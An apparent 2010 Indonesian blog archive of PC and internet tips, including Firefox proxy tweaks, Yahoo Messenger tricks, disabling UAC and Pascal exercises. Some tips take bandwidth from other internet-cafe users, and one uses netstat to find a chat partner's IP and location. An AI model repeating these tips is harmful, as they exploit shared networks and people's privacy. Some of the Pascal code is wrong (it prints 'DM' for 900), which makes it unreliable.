2010-01-16T21:00:00.000-08:00

Ada banyak cara untuk mengakali koneksi internet yang lambat, apalagi Anda menggunakan akses internet di warnet-warnet yang kebanyakan mereka telah membatasi bandwidth setiap komputernya. Jadi, tentunya anda tidak bisa internet dengan kecepatan maksimal dengan jatah tersebut.Berikut adalah beberapa tips dan trik yang bisa Anda coba :

Buka Browser Mozilla Firefox
Pada Address Bar Ketik : ABOUT:CONFIG
Cari string di bawah ini : ( pastikan semua srting dibawah “TRUE”)
contoh menggantingnya :
NETWORK.HTTP.PIPELINING FALSE ==> klik kanan dan pilih “Toggle” atau di Double Click
NETWORK.HTTP.PIPELINING TRUE
NETWORK.HTTP.PIPELINING.MAXREQUESTS 64
NETWORK.HTTP.PROXY.PIPELINING TRUE
NETWORK.PROXY.SHARE_PROXY_SETTINGS FALSE <=== ini harus False
Buat srting baru caranya : Klik Kiri 1X Dimana Saja, Klik Kanan NEW >> INTEGER
Ketik : NGLAYOUT.INITIALPAINT.DELAY Beri Nilai 0
Kemudian REFRESH atau Tekan F5
Pada Address Bar Ketik : ABOUT:BLANK
Klik Menu:
Untuk OS Windows XP Klik TOOLS >> OPTIONS >> WEB FEATURES
Untuk OS Linux ( Vector ) klik EDIT >> PREFERENCES
Untuk Setting yang berbeda di beberapa OS klik EDIT >> ADVANCED
Pada Option:
ALLOW WEB SITES TO INSTALL SOFTWARE Beri Tanda Check Box Untuk mengaktifkan
Kemudian Tekan OK Lalu REFRESH ( F5 )
Masuk Ke Link Ini : https://addons.mozilla.org/extensions/moreinfo.php?applicationfiltered=firefox&id=125 atau https://addons.mozilla.org/extensions/moreinfo.php?id=125&applicationfiltered=firefox
Download Software SwitchProxy Tool Versi 1.3.4
Setelah Selesai Jangan Tekan Tombol UPDATE
Klik Tanda X (tutup)Yang Ada Di Pojok Kanan Atas Dari POP UP Window Yang Muncul
Tutup Semua Browser Mozilla FireFox,
Kemudian Buka Lagi Untuk Mengaktifkan Software SwitchProxy Tool Versi 1.3.4 Yang sudah di Install Tadi
Kalo Instalasi Sukses, Akan Muncul Toolbar tambahan Di Bawah Toolbar Navigasi & Address Bar
Sekarang Browser Mozilla Siap Untuk Digunakan

Catatan :

Software SwitchProxy Tool Versi 1.3.4 Ini selain untuk Mengganti Proxy Secara Otomatis Di Browser Mozilla FireFox, Engine-nya Juga Berpengaruh terhadap Kecepatan Koneksi Internet
Cara Ini Sangat Efektif Bila Digunakan Di Warnet Yang Padat Pengunjung untuk Menyedot Bandwidth ( Mayoritas kecepatan akses Internet ) Ke Komputer Yang Sedang Anda Pakai
Perubahan Yang Signifikan Terjadi Pada koneksi Internet Dengan BROADBAND / VSAT.

Internet Speed Up, Bandwidth Saver, Offline Proxy

2010-01-16T20:59:00.001-08:00

Download Link v.1.15 Updated 16 April 2009 (Best Version)

Dikutip seperlunya dari : http://www.situsinformasiinternet.com/

Kita perlu berbangga hati karena software ini asli buatan Putra Indonesia. Creatornya Slamet Yanuar, S.Kom.
Anda dapat melihat photo-photonya di softwarenya.

Software ini ada dua pilihan bahasa Inggris dan Indonesia dan kinerjanya menurut hasil pengamatan cukup
lumayan tetapi Onspeed yang paling bagus karena berbayar.

Rasanya tidak asing jika kita pernah mendengar apa itu cache Internet.

Setiap kita browsing ke internet, browser akan meload file dari internet. Pada saat file
tersebut datang, file akan disimpan di dalam cache.

Jika kita browsing lagi, browser akan mengecek apakah sudah tersedia di dalam cache.
Jika sudah tersedia maka akan langsung ditampilkan tanpa meload lagi dari internet.

Jika tidak tersedia ataupun perlu updating isi informasinya, maka tetap akan meload file dari internet.

Dengan Cache Internet, browsing kita akan lebih cepat. Namun pada umumnya cache
internet hanya berfungsi jika internet terkoneksi, sehingga jarang dari kita untuk
membrowsing internet secara offline.

Dengan cache internet itu pula kita dapat menghemat biaya internet, karena tidak perlu
mendownload file2 yang sering di browsing.

Nah, ternyata saya nemu program bagus nih frend supaya internet juga bisa dibrowsing
secara offline tanpa terlihat perbedaan signifikan ketika internet terkoneksi. Selain itu
ternyata hit cache rationya juga besar dan tool ini bisa block site/host yang mengandung
trojan downloader atau virus serta bisa memblok konten yang tidak dikehendaki. tool ini
namanya “Internet Speed-Up, Bandwidth Saver & Offline Proxy”

Setelah tool ini diinstall, saya buka situs “www.detik.com”, “www.youtube.com”
dengan laptop saya di kantor, saya bawa pulang laptop dan saya setel internet secara
offline di rumah. Ha3x.. walaupun tidak punya koneksi internet di rumah saya bisa
buka2 internet yang pernah dikunjungi sebelumnya secara offline… Selain itu bisa login
secara offline ke situs, lihat film secara offline dsb. Asyiik broo..

Tool ini mirip seperti toonel, mengompress file yang diload dari internet sesuai kebutuhan
browser tetapi dengan beberapa tambahan :

1. Mempunyai cache agar browsing lebih cepat lagi.
2. Bisa blok trojan downloader maupun konten virus lain yang membahayakan.
3. Bisa blok situs yang tidak dikehendaki seperti advertiser.
4. Bisa blok konten berbau pornografi dengan menambahkan kata pada filter konten.
5. Bisa menghemat uang anda dari bandwidth yang disave dari kompresi maupun cache.

Konfigurasi :

Mozilla Firefox

1. Klik Tools > Options
2. Klik Advanced > Network > Settings
3. Pilih Manual proxy configuration, pada bagian HTTP Proxy isikan “127.0.0.1 dan Port “4333?
4. Pilih SOCKS v5
5. Berikan tanda centang pada Use this proxy server for all protocols
6. Klik OK 2x.
7. Aktifkan software, di Tab Configuration ganti Server Port "8080" menjadi "4333" harus sama dengan yang diatas.
Tekan Apply lalu tombol Start Server.

Internet Explorer

Jika Anda menggunakan Windows 95/98 atau 2000. Pilih Start Menu > Settings > Control Panel > Internet Options.

Jika Anda menggunakan Windows XP. Pilih Start Menu > Control Panel > Network and Internet connections > Setup or change your Internet connection.

Pada bagian Internet Properties pilih Connections, klik LAN Settings.

Pilih Use a proxy server…, pilih Bypass proxy server for loca addresses, lalu klik Advanced.

Pada bagian HTTP isikan “127.0.0.1? dan Port isikan “4333?, berikan tanda centang pada Use the same proxy server…

Aktifkan software Internet Seed-UP, di Tab Configuration ganti Server Port "8080" menjadi "4333" harus sama dengan yang diatas. Tekan Apply lalu tombol Start Server.

Invisible your browsing

2010-01-16T20:57:00.000-08:00

1. Menghilangkan identitas internet anda (IP Invisible)

Cara penggunaannya :
1. Download INVISIBLE BROWSING disini
2. Instal INVISIBLE BROWSING
3. Matikan browser yang masih aktif ( opera, fire fox dll )
4. Buka INVISIBLE BROWSING yang telah di instal tadi
5. Menu INVISIBLE BROWSING
* Tekan tombol CHANGE IP
* Tunggu beberapa menit sampai loading selesai
6. Aktifkan browser ( disarankan memakai Mozilla Firefox )
* Jika belum punya download disini
7. Cari alamat / file yang diinginkan
* http://www.rapidshare1.com
* http://www.rapidlibrary.com
8. Segera download
9. Jika masih gagal, ulangi langkah-langkah tadi mulai no 3
10. SELAMAT MENCOBA

2. Menghemat Bandwidth dan manipulasi
Namanya Toonel,Bisa manipulasi juga sih, tapi gampang ketahuan
biasanya software ini digunakan untuk mengompress bandwidth internet
yang sistem hitungannya per KB. mau nggak lebih murah
ini bisa mengompress hingga 60%, jadi kalo misalkan bayar 1000 untuk internetan
ntar dengan ajaib hanya bayar 400-600 bukan 1000, keren kan?
ya udah deh.... gini nih caranya:
1. saya anggap anda sudah punya aplikasi toonel
dan telah memiliki SUN java environmental terbaru, karena aplikasi ini berbasis java
2. di Mozilla firefox (saya memakai versi 3.0.x), klik tools, pilih options
klik tab "Advanced" lalu klik tab "network"klik tombol settings
3. terbuka laman baru, klik option "manual proxy detection
tulis di HTTP PROXY : 127.0.0.1 dan di port : 8080
centang =>"use this proxy for all protocols"
4. jalankan aplikasi toonel
5. tunggu saja..

3. Mempercepat koneksi internet
Sebenernya kalo udah memakai mozilla firefox 3 sudah cepat
tapi kalo masih versi 2 kan lemot, makanya.. pake fasterfox dong

Cara kerja download accelerator

2010-01-16T20:53:00.000-08:00

Cara Kerja
Download Accelerator atau download manager bekerja dengan cara memanfaatkan salah satu fitur di protokol HTTP. Fitur itu adalah pelayanan permintaan terhadap bagian tertentu dari suatu file. Inilah kunci dari cara kerja semua software Download Accelerator.
Dengan fitur ini software Download Accelerator bisa mem-pause dan kemudian melanjutkan kembali download file. Jadi gini, ketika kegiatan download di pause untuk dilanjutkan kembali besaoknya, Download Accelerator akan mencatat sampai bagian mana file telah didownload. Kemudian bila download dilanjutkan kembali, Download Accelerator melakukan permintaan kepada HTTP server untuk hanya memberikan bagian file yang belum didownload saja, sedangkan bagian file yang sudah didownload tidak. Dengan begitu proses download tidak harus di mulai dari awal. Ini cara kerja begaimana Download Accelerator bisa mem-pause dan meneruskan download. Sekarang bagaimana Download Accelerator bisa mempercepat download?
Untuk mempercepat download, sebagian besar Download Accelerator masih menggunakan layanan permintaan bagian tertentu dari file. Ketika mendownload file Download Accelerator membagi file tersebut menjadi beberapa bagian dan kemudian mendownload file yang sudah terbagi itu dalam satu waktu. Untuk melakukan ini Download Accelerator membuka beberapa koneksi ke HTTP server. Jadi anggapan HTTP server Download Accelerator sedang melakukan download lebih dari satu file. setelah tiap bagian file selesai di download Download Accelerator kemudian menggabungkan file kembali.
Dampaknya proses download jadi jauh lebih cepat. Coba bandingkan bila kita mendownload puluhan file dengan ukuran kecil dengan satu file berukuran besar. Bukankah lebih cepat mendownload file berukuran kecil meskipun dalam jumlah banyak daripada satu file berukuran besar. Bila tidak percaya buktikan saja.
Namun ada beberapa HTTP server yang membatasi jumlah koneksi oleh satu alamat IP, bila itu terjadi bukankah Download Accelerator tidak bisa leluasa untuk membagi file, karena tiap bagian file membutuhkan satu jalur koneksi ke HTTP server. Apa yang dilakukan Download Accelerator bila itu terjadi?
Kabar baiknya ada kemungkinan ada server lain menyediakan mirror website yang berisi file yang sama. Dengan begitu Download Accelerator bisa melakukan koneksi kepada server tersebut dan melakukan download file. Jadi Download Accelerator bisa menggunakan beberapa server yang berbeda untuk mendownload file yang sama.
Pada beberapa Download Accelerator, ada kemampuan untuk memilih server tercepat untuk mendownload file tertentu. Jadi ketika mendownload file, Download Accelerator akan mencari server yang menyediakan file yang sama dan tentunya merupakan yang tercepat. Yang saya tahu salah satu Download Accelerator dengan kemampuan tersebut itu adalah Internet Download Manager atau biasa disingkat jadi IDM. Dengan kemampuan ini IDM bisa mendownload puluhan kali lebih cepat daripada download manager standar browser. Perbedaan kecepatan dibanding dengan Download Accelerator lain juga sangat signifikan.

Download Accelerator menyita Bandwith?
Saya jawab, YA! Dampaknya sama persis dengan ketika kita mendownload banyak file dalam satu waktu. Meski downloadnya cepat, loading website akan sangat melambat. Apalagi pada jaringan, bila ada salah satu pengguna komputer dalam satu jaringan menggunakan Download Accelerator, apalagi file yang didownload banyak, maka siap-siap saja di protes oleh pengguna lainnya. Jadi Download Accelerator akan lebih efisien ketika koneksi internet tidak sedang digunakan oleh orang banyak. Sedang download terus di tinggal. Apalagi dengan adanya fitur penjadwalan download, Download Accelerator akan sangat membantu.

Kutipan : http://komputok.blogspot.com/2008/07/cara-kerja-download-accelerator.html

Trik Yahoo Messenger

2010-01-16T20:50:00.000-08:00

Multilogin di Yahoo Messenger
Biasanya kalo login cuma bisa 1 ID Yahoo messenger buat satu komputer,
tapi dengan menggunakan trik ini, dalam 1 komputer, anda bisa login lebih
dari 1 ID Yahoo Messenger, begini caranya :
1. Copy paste nih kode, abis itu save, kasih nama Messenger.reg
REGEDIT4
[HKEY_CURRENT_USER\Software\Yahoo\Pager\Test]
“plural”=dword:00000020
2. Double klik file tadi, klo ada pesan, klik OK aja...
setelah klik OK, secara otomatis udah bisa digunakan
eeeit, jangan senang dulu, terkadang kagak bisa di login karena ada yang error
ikutin dong trik tambahan ini
1. Klik start menu, klik RUN, di kotaknya tulis Regedit
2. cari key [HKEY_CURRENT_USER\Software\Yahoo\Pager\Test]
3. abis itu, klik kanan key Test pilih New | DWORD Value
4. Namakan New Value #1 menjadi plural
5. abis itu, klik dua kali key nya, ntar ada dialog box
masukkan value datanya menjadi 00000020, Klik OK, Tutup regedit
Buka Yahoo messenger kamu, Login... Klo berhasil Login lagi yang
kedua kalinya, dan berlaku seterusnya, ntar di taskbar muncul indikator
Yahoo messenger.. Selamat anda berhasil...

--------------------------------------------------------------------------------------------
Mengetahui IP address dan lokasi seseorang lewat Yahoo Messenger
------------------------------------------------------------------------------------------------
caranya adalah menggunakan fitur netstat di kompie windows anda.
Netstat adalah fitur windows yang dapat membaca/melihat proses koneksi antar jaringan yang terjadi di komputer tersebut,
Tapi YM bukanlah sebuah chat yang menggunkan koneksi P2P yang notabene singkatnya adalah koneksi yang terjadi secara direct antar 2 komputer.
YM menggunakan server sebagai medianya. Jadi ketika kita ketikkan netstat, akan terlihat IP dari server YM,
bukan IP dari chatter yang kita ajak bicara.
Langkah-langkahnya sebagai berikut :

1. Login ke YM dengan ID milik anda
2. Ajak chat siapa saja yang ingin anda ketahui ip addressnya
3. Setelah anda menemukan lawan chatt, coba kirim file apa saja, misal file ke teman atau lawan chatting anda ini di yahoo messenger.
4. Pada saat proses pengiriman file sedang berlangsung mulailah lakukan klik => start - run - ketik CMD - tekan enter.
5. Lalu di layar command prompt yang sudah terbuka, silahkan ketik, netstat lalu tekan enter.
6. Maka nanti akan terlihat beberapa IP address, seperti yang terlihat di bawah ini .

contoh :

C:\Documents and Settings\>netstat

Active Connections

Proto Local Address Foreign Address State
TCP win06v5:1045 localhost:1046 ESTABLISHED
TCP win06v5:1046 localhost:1045 ESTABLISHED
TCP win06v5:1047 localhost:1048 ESTABLISHED
TCP win06v5:1048 localhost:1047 ESTABLISHED

7. Dan akan terlihat IP seperti ini : 10.245.101.204:5101 SYN_SENT
8. Nah.. itu dia ip address lawan chat anda.. ipnya adalah 10.245.101.204
9. Jika belum jelas, anda bisa menggunakan command netstat -n, maka akan keluar ip address dan port.

# Apabila ada nomor ip dengan akhiran port :5101 , maka itulah alamat IP address lawan bicara anda, YM menggunakan port 5101 untuk mengirimkan file.

# Untuk mengetahui lokasi (real address) lawan chatting anda, tinggal anda chek di [url]www.domainwhitepages.com[/url] dengan mempergunakan alamat IP yang anda dapatkan.

Dikutip seperlunya dari : http://1-1y4n9.blogspot.com/
ni, dalam 1 komputer, anda bisa login lebih
dari 1 ID Yahoo Messenger, begini caranya :
1. Copy paste nih kode, abis itu save, kasih nama Messenger.reg
REGEDIT4
[HKEY_CURRENT_USER\Software\Yahoo\Pager\Test]
“plural”=dword:00000020
2. Double klik file tadi, klo ada pesan, klik OK aja...
setelah klik OK, secara otomatis udah bisa digunakan
eeeit, jangan senang dulu, terkadang kagak bisa di login karena ada yang error
ikutin dong trik tambahan ini

1. Klik start menu, klik RUN, di kotaknya tulis Regedit
2. cari key [HKEY_CURRENT_USER\Software\Yahoo\Pager\Test]
3. abis itu, klik kanan key Test pilih New | DWORD Value
4. Namakan New Value #1 menjadi plural
5. abis itu, klik dua kali key nya, ntar ada dialog box
masukkan value datanya menjadi 00000020, Klik OK, Tutup regedit
Buka Yahoo messenger kamu, Login... Klo berhasil Login lagi yang
kedua kalinya, dan berlaku seterusnya, ntar di taskbar muncul indikator
Yahoo messenger.. Selamat anda berhasil...

Optimalisasi Koneksi Internet dengan TCP/IP Optimizer

2010-01-16T20:48:00.000-08:00

Apa sih TCP/IP?

Berdasar beberapa referensi yang saya baca TCP/IP (Transmission Control Protocol/Internet Protocol) adalah bahasa dasar komunikasi internet atau protokol internet. Tapi walaupun istilah ini berkaitan dengan internet bukan berarti hanya dipergunakan untuk koneksi internet saja, tapi protokol ini bisa juga diterapkan dalam sebuah jaringan komputer yang tidak terhubung dengan internet (intranet).

TCP/IP itu sendiri adalah dua hal (dua layer) yang saling berkaitan. TCP adalah bagian yang melakukan pengolahan/pengubahan data request data dari komputer client menjadi beberapa bagian dan mengirimkan bagian-bagian tersebut tersebut melalui IP sampai ke tempat tujuan dan diterima TCP dari komputer lain yang menggabungkan kembali bagian-bagian tersebut menjadi paket data yang utuh sesuai dengan request dari komputer client.

Itu pengertian dasar tentang TCP/IP yang saya tahu. Tapi di sini saya tidak akan menjelaskan lebih jauh tentang TCP/IP selain saya sendiri juga tidak tau lebih jauh (he he he he), seperti pengantar di atas, di sini saya hanya ingin menginformasikan sebuah software yang sebenernya sudah ada cukup lama yaitu TCP/IP Optimizer yang bisa dimanfaatkan untuk mengoptimalkan fungsi dari TCP/IP dengan harapan dapat meningkatkan kinerja dan kecepatan dari koneksi internet.

Sebelum saya mulai silahkan download software TCP/IP Optimizer, jangan kuatir program ini sifatnya freeware, jadi kita bisa menggunakan secara bebas, tanpa harus registrasi ataupun membayar dengan sejumlah uang tertentu.

Jika sudah didownload, silahkan install software tersebut, dan jalankan. Ada beberapa proses setup sederhana yang harus dilakukan sebelum software ini memberikan efeknya. Pertama, pada tab General Settings, kita tentukan kecepatan koneksi kita. Sebagai contoh, misalnya kita gunakan koneksi Broom dengan quota maksimal 256kbps, maka kita geser slider Connection Speed pada angka 256.

Kedua, kita masuk ke Network Adapter selection, kita pilih sarana koneksi internet yang kita pergunakan (modem, WiFi, kabel jaringan). Jika dalam pilihan tersebut kita tidak menemukan adapter yang kita pakai (sebagai contoh modem ponsel), silakan centang pada pilihan Modify All Network Adapters.

Terakhir kita pilih Optimal settings. Jalankan optimasi dengan menekan Apply changes.

Sebelum proses optimasi berjalan, akan muncul panel konfirmasi, pastikan pilihan Backup tercentang, ini akan bermanfaat jika kita ingin merestore kembali seting TCP/IP sesuai kondisi awal. Untuk melakukan backup bisa melalui menu File, dan Restore (ada pada panel awal dari software TCP/IP Optimizer ini).

Restart komputer, dan kita bisa mencoba hasil dari optimasi ini dengan melakukan browsing.

Oke demikian informasi singkat ini, semoga bermanfaat.

Kutipan : ariawijaya.com

Pascal : Konversi angka ke huruf romawi

2010-01-16T20:46:00.000-08:00

If you input numeric number... you must convert it into ROMAWI...
Example:
-----------------------------------------------
Input:
90
-----------------------------------------------
Output:
XC
-----------------------------------------------
OK... do you know about romawi?
1. 1 = I
5 = V
10 = X
50 = L
100 = C
500 = D
1000 = M
But.. these alphabets mayn't be written more than three times..
Input:
90
Output
XC (Not LXXXX)
Then, Try to read this carefully and try it at your pascal program
-----------------------------------------------------------------------------------
var
i,b,hasil : integer;
a : array[1..13] of integer = (1000,900,500,400,100,90,50,40,10,9,5,4,1);
akhir : array[1..13] of integer;

begin
write('masukkan angka : '); readln(b);

for i := 1 to 13 do
begin
akhir[i] := 0;
hasil := b div a[i];
b := b - hasil * a[i];
akhir[i] := hasil;
end;
for i := 1 to akhir[1] do
begin
write('M');
end;
for i := 1 to akhir[2] do
begin
write('DM');
end;
for i := 1 to akhir[3] do
begin
write('D');
end;
for i := 1 to akhir[4] do
begin
write('CD');
end;
for i := 1 to akhir[5] do
begin
write('C');
end;
for i := 1 to akhir[6] do
begin
write('XC');
end;
for i := 1 to akhir[7] do
begin
write('L');
end;
for i := 1 to akhir[8] do
begin
write('XL');
end;
for i := 1 to akhir[9] do
begin
write('X');
end;
for i := 1 to akhir[10] do
begin
write('IX');
end;
for i := 1 to akhir[11] do
begin
write('V');
end;
for i := 1 to akhir[12] do
begin
write('IV');
end;
for i := 1 to akhir[13] do
begin
write('I');
end;

readln;
end.
-----------------------------------------------------------------------------------

Macam-macam topologi jaringan

2010-01-16T20:45:00.001-08:00

Macam-macam topologi jaringan antara lain :
Topologi Bus atau Daisy Chain
Topologi ini memiliki karakteristik sebagai berikut::
1. merupakan satu kabel yang kedua ujung nya ditutup, dimana sepanjang kabel terdapat node-node
2. umum digunakan karena sederhana dalam instalasi
3. signal melewati kabel dalam dua arah dan mungkin terjadi collision
4. problem terbesar pada saat kabel putus. Jika salah satu segmen kabel putus, maka seluruh jaringan akan terhenti.
Topologi Ring
Topologi ini mempuyai karakteristik sebagai berikut:
1. Lingkaran tertutup yang berisi node-node
2. sederhana dalam layout
3. signal mengalir dalam satu arah, sehingga dapat menghindarkan terjadinya collision (dua paket data bercampur), sehingga memungkinkan pergerakan data yang cepat dan collision detection yang lebih sederhana
4. problem: sama dengan topologi bus
5. biasanya topologi ring tidak dibuat secara fisik melainkan direalisasikan dengan sebuah consentrator dan kelihatan seperti topologi star
Topologi Star
Topologi ini mempunyai karakteristik sebagai berikut:
1. setiap node berkomunikasi langsung dengan central node, traffic data mengalir dari node ke central node dan kembali lagi.
2. mudah dikembangkan, karena setiap node hanya memiliki kabel yang langsung terhubung ke central node
3. keunggulan : jika satu kabel node terputus yang lainnya tidak terganggu
4. dapat digunakan kabel yang “lower grade” karena hanya menghandel satu traffic node, biasanya digunakan kabel UTP
Topologi Mesh
Topologi ini dibangun dengan memasang link diantara station-station. Sebuah ‘fully-connected mesh’ adalah sebuah jaringan dimana setiap terminal terhubung secara langsung ke semua terminal-terminal yang lain. Biasanya digunakan pada jaringan komputer kecil. Topologi ini secara teori memungkinkan akan tetapi tidak praktis dan biayanya cukup tinggi untuk diimplementasikan. Mesh topologi memiliki tingkat redundancy yang tinggi. Sehingga jika terdapat satu link yang rusak maka suatu station dapat mencari link yang lainnya.
Topologi TREE
Tree topologi dibangun oleh Bus network yang dihubungkan secara bersama-sama. Contoh : setiap gedung dalam suatu kampus memiliki Bus Network yang telah terpasang, maka setiap network dapat disambungkan secara bersama untuk membentuk sebuah tree teknologi yang bisa mengcover semua kampus. Karena tree topologi terdiri dari Bus topologi yang dihubungkan secara bersama maka tree topologi memiliki karakteristik yang sama dengan Bus topologi. Dia dapat mensupport baik baseband maupun broadband signaling dan juga mensupport baik contention maupun token bus access.
HYBRID
Hybrid Network adalah network yang dibentuk dari berbagai topologi dan teknologi. Sebuah hybrid network mungkin, sebagi contoh, diakibatkan oleh sebuah pengambilalihan suatu perusahaan. Sehingga ketika digabungkan maka teknologi-teknologi yang berbeda tersebut harus digabungkan dalam sebuah network tunggal. Sebuah hybrid network memiliki semua karakteristik dari topologi yang terdapat dalam jaringan tersebut.

Pascal : Penjumlahan 2 angka sangat besar

2010-01-16T20:44:00.001-08:00

if you input two big number... you must add it and write that answer
example:
Input
1234567890987654321
9876543210123456789
Output
11111111102222222211
you can't change tipe data to longint, because longint until two millions only..
So, how do we solve this problem?
OK... try to read this code carefully
-----------------------------------------------------------------------------
program hitungtambah;
uses crt;
var
a : array[0..1000] of string;
bil1,bil2 : string;
nol : string;
len1,len2 : byte;
x,y,z : byte;
max,i : byte;
begin
clrscr;

write('masukkan bilangan 1 : '); readln(bil1);
write('masukkan bilangan 2 : '); readln(bil2);
nol := '';
z := 0;
len1 := length(bil1);
len2 := length(bil2);
max := len1;
if (len2 > max) then begin
max := len2;
end;
for i := 0 to max do
begin
if (i < len1) then begin
x := ord(bil1[len1 - i]) - $30;
end else begin
x := 0;
end;

if (i < len2) then begin
y := ord(bil2[len2 - i]) - $30;
end else begin
y := 0;
end;

z := x + y + z;
if (z > 9) then begin
a[i] := chr(z + 38); {konvert dari z - 10}
z := 1;
end else begin
a[i] := chr(z + 48); {konvert dari z}
z := 0;
end;
if (a[max] = '0') then begin
a[i] := '';
end;
end;
for i := max downto 0 do
begin
nol := nol + a[i];
end;
writeln(nol);
readln;
end.
-----------------------------------------------------------------------------

Pascal : ZigZag Checker

2010-01-16T20:41:00.000-08:00

If some datas is inputted.. you must check it. ZIGZAG or not...
If not, you must write some data who doesn't support ZIGZAG
Examples:
--------------------------------------------------------
Input:
5
6
2
7
5
9
Output:
ZIGZAG
Contoh lagi..
Input:
5
4
2
3
5
7
Output:
3 5 7
--------------------------------------------------------
OK... maybe you confuse... but.. array statement can be "Played" by programmer
try to read this code carefully and try it at your pascal program
--------------------------------------------------------
var
a,error1,error2,error3 : array[1..1000] of integer;
i,n,cek,error : integer;
begin
error := 0;
write('masukkan jumlah data maksimal : '); readln(n);
for i := 1 to n do
begin
write('masukkan data-data : '); readln(a[i]);
end;
for i := 2 to n - 1 do
begin
if (i mod 2 = 0) then begin
if ((a[i] < a[i + 1]) and (a[i] < a[i - 1])) or ((a[i] > a[i + 1]) and (a[i] > a[i - 1])) then
begin
cek := 1;
end else begin
error := 1;
error1[i] := a[i-1];
error2[i] := a[i];
error3[i] := a[i+1];
end;
end;
end;
if (cek = 1) and (error1[i] = 0) and (error2[i] = 0) and (error3[i] = 0) then begin
writeln('ZIGZAG');
end else begin
writeln(error1[i],' ',error2[i],' ',error3[i]);
end;
readln;
end.
--------------------------------------------------------
Do you know about ZIGZAG?
Illustrate this:
"if you have three datas, fisrt data and third data must be least or more that second data"
So, you look at this code
--------------------------------------------------------
for i := 2 to n - 1 do
begin
if (i mod 2 = 0) then begin
if ((a[i] < a[i + 1]) and (a[i] < a[i - 1])) or ((a[i] > a[i + 1]) and (a[i] > a[i - 1])) then
begin
cek := 1;
--------------------------------------------------------

Pascal : Konversi huruf ke angka

2010-01-16T20:39:00.000-08:00

Make a Pascal program, if you input a sentence, that sentence must be converted to numeric
Example:
Input
------------------------------------
Berapa
------------------------------------
Output
------------------------------------
b 2
e 5
r 18
a 1
p 16
a 1
------------------------------------
OK... i must tell you about this problem, you must learn array first
if you learned array several times ago.. let's continue
-------------------------------------------------------------
Try to read this code carefully.. you can copy it into pascal and compile it...
-------------------------------------------------------------
var
a : array[1..1000] of string;
s : array['a'..'z'] of byte = (1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26);
b : array[1..1000] of integer;
i : integer;
u : char;
n : string;
begin
write('input string : '); readln(n);
for i := 1 to length(n) do
begin
a[i] := copy(n,i,1);
end;
for i := 1 to length(n) do
begin
for u := 'a' to 'z' do
begin
if (a[i] = u) then
begin
write(a[i],' ');
writeln(s[u],' ');
end;
end;
end;
readln;
end.
--------------------------------------------------------------------
There are many characters in input variable.. we must brake it into one character per variable
--------------------------------------------------------------------
write('input string: '); readln(n);
for i := 1 to length(n) do
begin
a[i] := copy(n,i,1);
end;
---------------------------------------------------------------------
Then, do the process of alphabetic konvert to numeric
---------------------------------------------------------------------
for i := 1 to length(n) do
begin
for u := 'a' to 'z' do
begin
if (a[i] = u) then
--------------------------------------------------------------------
Then, make a confirmation code.. if it is OK.. save it into array variable
--------------------------------------------------------------------
if (a[i] = u) then
begin
write(a[i],' ');
writeln(s[u],' ');
--------------------------------------------------------------------

Meremove UAC yang cerewet

2010-01-16T20:36:00.000-08:00

Bagi anda pengguna windows Vista mungkin tidak asing dengan fasilitas ini. User Account Control (UAC). Fasilitas bawaan windows Vista ini otomatis mengurangi resiko akses aplikasi yang tidak di inginkan, sehingga bisa meningkatkan keamanan. UAC membatasi akses user yang tidak mempunyai hak administrative.

Memang UAC bisa meninggikan keamanan, tetapi dikondisi tertentu, tentu UAC ini sangat menjengkelkan

Baiklah, untuk mengatasi UAC yang "cerewet" ini. Dapat diatasi dengan berbagai cara :

Cara ke-1 - Menggunakan MSCONFIG

Jalankan MSCONFIG dari menu Run ( Start>Run ketikkan MSCONFIG dan tekan enter)
Klik pada bagian/tab Tools. Scroll kebawah sampai menemukan Disable UAC . Klik baris tersebut
Tekan tombol Launch
Window CMD akan tampil/terbuka. Setelah tampil dan selesai tutup (close) saja window tersebut
Tutup MSCONFIG. Diperlukan restart agar perubahan terjadi

Catatan : Untuk mengaktifkan kembali UAC bisa dilakukan dengan memilih baris “Enable UAC” kemudian klik tombol Launch.

Cara ke-2 - Menggunakan Regedit (Registry Editor)

Buka Registry Editor (Start>Run kemudian ketik REGEDIT dan tekan enter)
Di Registry Editor, cari lokasi key berikut:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
Cari key (DWORD) EnableLUA dan isikan dengan nilai 0
Tutup Registry Editor. Untuk melihat hasilnya restart komputer.

Untuk mengaktifkan kembali UAC bisa isikan saja key diatas (EnableLUA) dengan nilai 1

Cara ke-3 - Menggunakan Control Panel

Buka Control Panel.
Dibawah setting User Account and Family klik Add or remove user account
Klik salah satu user account, misalnya dapat digunakan account Guest.
Dibawah user account, klik link Go to the main User Account page
Selanjutnya dibawah Make changes to your user account, klik pada link Change security settings
Pada menu Turn on User Account Control (UAC) to make your computer more secure klik untuk menghilangkan pilihan Use User Account Control (UAC) to help protect your computer kemudian klik tombol OK.
Akan dimunculkan konfirmasi untuk restart, jadi restart jika sudah siap

Untuk mengaktifkan kembali UAC, aktifkan checkbox diatas dan restart komputer.

Kutipan dari : http://ebsoft.web.id

2010-01-16T20:35:00.000-08:00

Sebenarnya kinerja komputer bisa dipengaruhi oleh banyak faktor, baik software maupun hardware. Ada berbagai tips yang dapat dilakukan agar kinerja komputer menjadi lebih baik. Berikut beberapa tips yang mungkin dapat dilakukan dan mungkin sebagian sudah umum kita lakukan atau kita dengar.

1. Uninstall program yang tidak dipakai
Meskipun tidak dijalankan, program yang jarang atau tidak pernah digunakan bisa ikut mempengaruhi kinerja komputer. Terutama program yang menyimpan seting-setingnya di registry. Mengapa ? karena setiap kali komputer dijalankan, registry windows akan di load di memory, sehingga semakin besar ukurannya, memori yang digunakan akan semakin besar pula.
2. Periksa program-program yang otomatis berjalan dengan Windows
Hal ini bisa di cek dengan program seperti autoruns. Biasanya ada beberapa program yang selalu berjalan yang sebenarnya tidak begitu penting atau kurang penting.
3. Defragment hardisk
Ini bisa dilakukan melalui menu Properties > System Tools > Disk Defragment. Yang tujuannya untuk menata kembali file-file sesuai prioritasnya.
4. Mematikan service yang tidak terpakai
Hal ini memerlukan sedikit pengetahuan tentang komputer. Services merupakan program/library juga yang dijalankan (di load) setiap komputer hidup. Bisa dilihat melalui Control Panel > Administrative Tools > Services. Jika komputer tidak pernah digunakan online (internet), ada beberapa service yang bisa di non aktifkan. Misalnya Windows Time dan beberapa service lainnya ( bisa di cek keterangannya). Tapi hal ini juga perlu berhati-hati, jika salah bisa menyebabkan beberapa fungsi windows tidak berjalan.
5. Hindari penggunakan Skin windows
